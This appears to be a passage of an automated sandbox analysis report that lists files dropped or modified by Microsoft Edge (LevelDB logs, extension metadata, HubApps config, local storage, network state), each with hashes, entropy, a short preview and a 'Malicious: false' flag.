Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.163845886617584
Encrypted:	false
SSDEEP:	6:HHSG/X4q2PcNwi23oH+Tcwt8aPrqIFUt8YHSG/XJZmw+YHSG/XDkwOcNwi23oH+o:nSG/X4vLZYebL3FUt8kSG/XJ/+kSG/Xb
MD5:	5A1A63DC4D1AF2958D74854766C5ABF7
SHA1:	42FEE0CB047485618395D316D06DE3A287DABE14
SHA-256:	70E4E0C319A6567DF8FF406C671EFC08EDFD444D3886EA962BF3F89D782CA8C2
SHA-512:	39813A4EFF07EDFEC6AA8FD71EB1A7F532738788633EE11D03DBE2D78DA3DDEDC7849AF6827FCB6A0F12624B7D2CB0AF96534605E3D86E9892D6933648183B0C
Malicious:	false
Preview:	2024/11/20-17:12:40.641 b30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-17:12:40.641 b30 Recovering log #3.2024/11/20-17:12:40.641 b30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.163845886617584
Encrypted:	false
SSDEEP:	6:HHSG/X4q2PcNwi23oH+Tcwt8aPrqIFUt8YHSG/XJZmw+YHSG/XDkwOcNwi23oH+o:nSG/X4vLZYebL3FUt8kSG/XJ/+kSG/Xb
MD5:	5A1A63DC4D1AF2958D74854766C5ABF7
SHA1:	42FEE0CB047485618395D316D06DE3A287DABE14
SHA-256:	70E4E0C319A6567DF8FF406C671EFC08EDFD444D3886EA962BF3F89D782CA8C2
SHA-512:	39813A4EFF07EDFEC6AA8FD71EB1A7F532738788633EE11D03DBE2D78DA3DDEDC7849AF6827FCB6A0F12624B7D2CB0AF96534605E3D86E9892D6933648183B0C
Malicious:	false
Preview:	2024/11/20-17:12:40.641 b30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-17:12:40.641 b30 Recovering log #3.2024/11/20-17:12:40.641 b30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.233122275944001
Encrypted:	false
SSDEEP:	6:HHSG/c9c+q2PcNwi23oH+Tcwt865IFUt8YHSG/crZmw+YHSG/c7VkwOcNwi23oHY:nSG/Uc+vLZYeb/WFUt8kSG/a/+kSG/2m
MD5:	55CBA5CF435C1ADBFAC5D35D0D45C13A
SHA1:	F30B1FBAD1DF5ABDE0DBD1FD39C47DEA813D46EF
SHA-256:	C0480E04198617B3173F5976C69D5916E3404A4F6B93FC1A150F6A36480FE667
SHA-512:	DB62DCBCA9E2D562122872CED4013AE95BEEF6D89BE9CCB116036B9BC9181E86D93351130E36893034BDA096A7BBD5AE176AA38B7D0118C40A98919490C003C6
Malicious:	false
Preview:	2024/11/20-17:12:40.658 8dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-17:12:40.659 8dc Recovering log #3.2024/11/20-17:12:40.659 8dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.233122275944001
Encrypted:	false
SSDEEP:	6:HHSG/c9c+q2PcNwi23oH+Tcwt865IFUt8YHSG/crZmw+YHSG/c7VkwOcNwi23oHY:nSG/Uc+vLZYeb/WFUt8kSG/a/+kSG/2m
MD5:	55CBA5CF435C1ADBFAC5D35D0D45C13A
SHA1:	F30B1FBAD1DF5ABDE0DBD1FD39C47DEA813D46EF
SHA-256:	C0480E04198617B3173F5976C69D5916E3404A4F6B93FC1A150F6A36480FE667
SHA-512:	DB62DCBCA9E2D562122872CED4013AE95BEEF6D89BE9CCB116036B9BC9181E86D93351130E36893034BDA096A7BBD5AE176AA38B7D0118C40A98919490C003C6
Malicious:	false
Preview:	2024/11/20-17:12:40.658 8dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-17:12:40.659 8dc Recovering log #3.2024/11/20-17:12:40.659 8dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.162786540706075
Encrypted:	false
SSDEEP:	6:HHSGKht+q2PcNwi23oH+Tcwt8NIFUt8YHSGKlJZmw+YHSGKl9VkwOcNwi23oH+TG:nSGKGvLZYebpFUt8kSGKf/+kSGKN54ZO
MD5:	FC70C024B7ECBB729F7CC9C02BC0F3B1
SHA1:	084B1505BEE98EF869EEA86C2F754A36023332B4
SHA-256:	B239F7B58B74D64241F5D16B3C160C72CE607D8B162D05343A3D2E04BDA705F7
SHA-512:	18CF881472AB0F98C07F187A2A2F4EE1B1DE77D6D76BB1961218C4FD5C3CB14BD8CEF5430D2E4CBDFFE6ECBBA2F34084DFC467A9996A57CD95EB1838A9356346
Malicious:	false
Preview:	2024/11/20-17:12:41.286 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-17:12:41.310 738 Recovering log #3.2024/11/20-17:12:41.310 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.162786540706075
Encrypted:	false
SSDEEP:	6:HHSGKht+q2PcNwi23oH+Tcwt8NIFUt8YHSGKlJZmw+YHSGKl9VkwOcNwi23oH+TG:nSGKGvLZYebpFUt8kSGKf/+kSGKN54ZO
MD5:	FC70C024B7ECBB729F7CC9C02BC0F3B1
SHA1:	084B1505BEE98EF869EEA86C2F754A36023332B4
SHA-256:	B239F7B58B74D64241F5D16B3C160C72CE607D8B162D05343A3D2E04BDA705F7
SHA-512:	18CF881472AB0F98C07F187A2A2F4EE1B1DE77D6D76BB1961218C4FD5C3CB14BD8CEF5430D2E4CBDFFE6ECBBA2F34084DFC467A9996A57CD95EB1838A9356346
Malicious:	false
Preview:	2024/11/20-17:12:41.286 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-17:12:41.310 738 Recovering log #3.2024/11/20-17:12:41.310 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:7tFlljq7A/mhWJFuQ3yy7IOWU3ludweytllrE9SFcTp4AGbNCV9RUIG:w75fOrud0Xi99pEYg
MD5:	24B99F930B697EE1FE2B6FA088BFC023
SHA1:	10409ED09FCBD87F00799706DF6AACCD50FB4E9F
SHA-256:	0EBE4DE94C788715E3FB4C909080B9639D040F3141A7F985E825078D1570A79D
SHA-512:	15216633B747B595DAAF4CE8B85C7193A326EF624C58D1DD45479AF7F4BF6A620D94E5A9D24C8916905EC585E855B5E96A2153C52F4F09D86D448A08C51C3A75
Malicious:	false
Preview:	.............k.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477623940098924
Encrypted:	false
SSDEEP:	384:aj9P0XcSQkQerxP/Kbtpjlfgam6IThj773pLLRKToaAu:ad5Se2xP/IlejF7NRKcC
MD5:	23071531E5A8E1771306F5B8087CB6B7
SHA1:	7BAFD8E7839A98B1CA33B4703004D0FF530FCFC0
SHA-256:	EA69B1EB88B12A619A8DA49FEC4E7708D76A54427F043EC6B0E52C7F66E10F95
SHA-512:	BBF6C189140B793E1A653DB93C154FF3D5BE72956885E53F85C02C663BD1498B0B2A994E9817AE52F083DD088C8D474765DB6B26154FAEAEFF66808BEA5921F4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	411
Entropy (8bit):	5.269194219195717
Encrypted:	false
SSDEEP:	12:nSG/AVvLZYeb8rcHEZrELFUt8kSG/Ag/+kSGTI54ZYeb8rcHEZrEZSJ:nhA5lYeb8nZrExg8khAaZSoYeb8nZrE8
MD5:	4209D81F701574676B872409AD436C7D
SHA1:	F24D82180A33A2A0C9AAB71D87415FED126709E6
SHA-256:	171BC29DFA64B9EEA78F115AB6F5CBF45F38C8ECE54E2F9BE0B68E1CB94E8CE4
SHA-512:	84AEDAD0A3A0C8063E5EC40403F985792F02FC5A0B05167861AA97344FCAAE2E8DE519632F718ED6DD77B3CE8312F53F3BE4A51087ED70E17D876617D998AAEB
Malicious:	false
Preview:	2024/11/20-17:12:43.416 4f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-17:12:43.416 4f8 Recovering log #3.2024/11/20-17:12:43.417 4f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	411
Entropy (8bit):	5.269194219195717
Encrypted:	false
SSDEEP:	12:nSG/AVvLZYeb8rcHEZrELFUt8kSG/Ag/+kSGTI54ZYeb8rcHEZrEZSJ:nhA5lYeb8nZrExg8khAaZSoYeb8nZrE8
MD5:	4209D81F701574676B872409AD436C7D
SHA1:	F24D82180A33A2A0C9AAB71D87415FED126709E6
SHA-256:	171BC29DFA64B9EEA78F115AB6F5CBF45F38C8ECE54E2F9BE0B68E1CB94E8CE4
SHA-512:	84AEDAD0A3A0C8063E5EC40403F985792F02FC5A0B05167861AA97344FCAAE2E8DE519632F718ED6DD77B3CE8312F53F3BE4A51087ED70E17D876617D998AAEB
Malicious:	false
Preview:	2024/11/20-17:12:43.416 4f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-17:12:43.416 4f8 Recovering log #3.2024/11/20-17:12:43.417 4f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.668932284388735
Encrypted:	false
SSDEEP:	24:jZWEHRQZ7vXqXZGR3xWRV03745FMyJ8W2YUlHwlEROBkTN5zgFHHmi28/V:jZ167v6XZGNIRV03745+yJ8+HEL+HH33
MD5:	4B50B44F323DB1F25200159AEE9AF041
SHA1:	380A03819F56843CE86F541A994D9C7EE0EAEBE5
SHA-256:	8C4ADC0CB7D63AE232C9E80B69BFE908505F21C1E3882B341D74217813B570B6
SHA-512:	5D1426DA6B85CD487EAF632A71ACDEE93728C38B9D987CC762C643DA275D23C9AD505C6CAEA4D40D7DC09335B8CC247BC3132E1D63C0DC173A200EDE1CF09D6E
Malicious:	false
Preview:	Iv.^.................VERSION.1..META:https://ntp.msn.com............!_https://ntp.msn.com..LastKnownPV..1732140776091.._https://ntp.msn.com..MUID!.3E320C721BF96C1208BE194F1A9E6DEF.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732140776167,"schedule":[35,-1,-1,21,-1,40,-1],"scheduleFixed":[35,-1,-1,21,-1,40,-1],"simpleSchedule":[46,13,29,44,32,25,19]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732140776048.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241119.367"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Nov 20 2024 17:12:55 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest..?k$................META:https://ntp.msn.com............._https://ntp.msn.com

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.155188234483368
Encrypted:	false
SSDEEP:	6:HHSG/1+q2PcNwi23oH+Tcwt8a2jMGIFUt8YHSG/JGZmw+YHSG/BVkwOcNwi23oHr:nSG/1+vLZYeb8EFUt8kSG/k/+kSG/BVX
MD5:	739795C6D8AC5FE720B3D8FB546DC017
SHA1:	73E14396E336E23529E899986A50DB9D6AE6C209
SHA-256:	E220A33A4FF224C312A723B836D43DB235D659FA99D9C2C12A1E4558115CA3C0
SHA-512:	5381D827AC03C1C820A8D97AC11F6A2339DC792E09E8DCF59CFC9F7F38B05BAEF1A1D7F3B234F1743550B29E9F70EE325192FA885B6FB0E8399BC60EA119B077
Malicious:	false
Preview:	2024/11/20-17:12:40.824 cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-17:12:40.825 cbc Recovering log #3.2024/11/20-17:12:40.828 cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.155188234483368
Encrypted:	false
SSDEEP:	6:HHSG/1+q2PcNwi23oH+Tcwt8a2jMGIFUt8YHSG/JGZmw+YHSG/BVkwOcNwi23oHr:nSG/1+vLZYeb8EFUt8kSG/k/+kSG/BVX
MD5:	739795C6D8AC5FE720B3D8FB546DC017
SHA1:	73E14396E336E23529E899986A50DB9D6AE6C209
SHA-256:	E220A33A4FF224C312A723B836D43DB235D659FA99D9C2C12A1E4558115CA3C0
SHA-512:	5381D827AC03C1C820A8D97AC11F6A2339DC792E09E8DCF59CFC9F7F38B05BAEF1A1D7F3B234F1743550B29E9F70EE325192FA885B6FB0E8399BC60EA119B077
Malicious:	false
Preview:	2024/11/20-17:12:40.824 cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-17:12:40.825 cbc Recovering log #3.2024/11/20-17:12:40.828 cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\128111f0-c152-4c7b-8f1c-6f4aab452da7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1982
Entropy (8bit):	5.292297368984574
Encrypted:	false
SSDEEP:	48:YcCpfgCzs7tsnfcKsCleeBkEsvC9RszsCgHHYhbyDF:F2fQgFkeBkLYYsT4hy
MD5:	84460D4A047816F797D6A7D620F804EE
SHA1:	43A613999263D7B8C609CB24CDEB56832FAAF7A7
SHA-256:	52E8AD690B08A122D4471A633C3F80408444C64DC9E4896885A2E749779138C6
SHA-512:	264FAB9263ECFCA7825A5E3121A9906267404ABA1CAC4E4059852022AC2A2B007D93A5B09128CEFD15DD7D851FA65A8422264752FC21F476F214E8E7BE695BE7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379206364634925","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379206369112499","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376707971829967","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1b4aec1e-0c56-4935-80d4-d2035d99056b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.774282714367145
Encrypted:	false
SSDEEP:	192:tTwlGqVLTNTySsppHCSBKxA1GTXcf0L/ZJVb:VwVVLTByVppH3sTXI0LhJVb
MD5:	A2552226317DA388FF6597C7DCDA91BC
SHA1:	F6533509F49C819FEA3D7A2DD9FB56C8B8560A1E
SHA-256:	253A9E85E73EE146B1DC35D7C223CC27A63665F35312D6D81B60995DD35261E7
SHA-512:	430B7D5152E995761937C0348E14BD9AE38CD0F0C5DEF7437AD9DD042C06B93BAC8D3544E680CDE08E5CD18468A4A7119A16FA7F7AF21CC41F2226584E5D6FD7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1982
Entropy (8bit):	5.292297368984574
Encrypted:	false
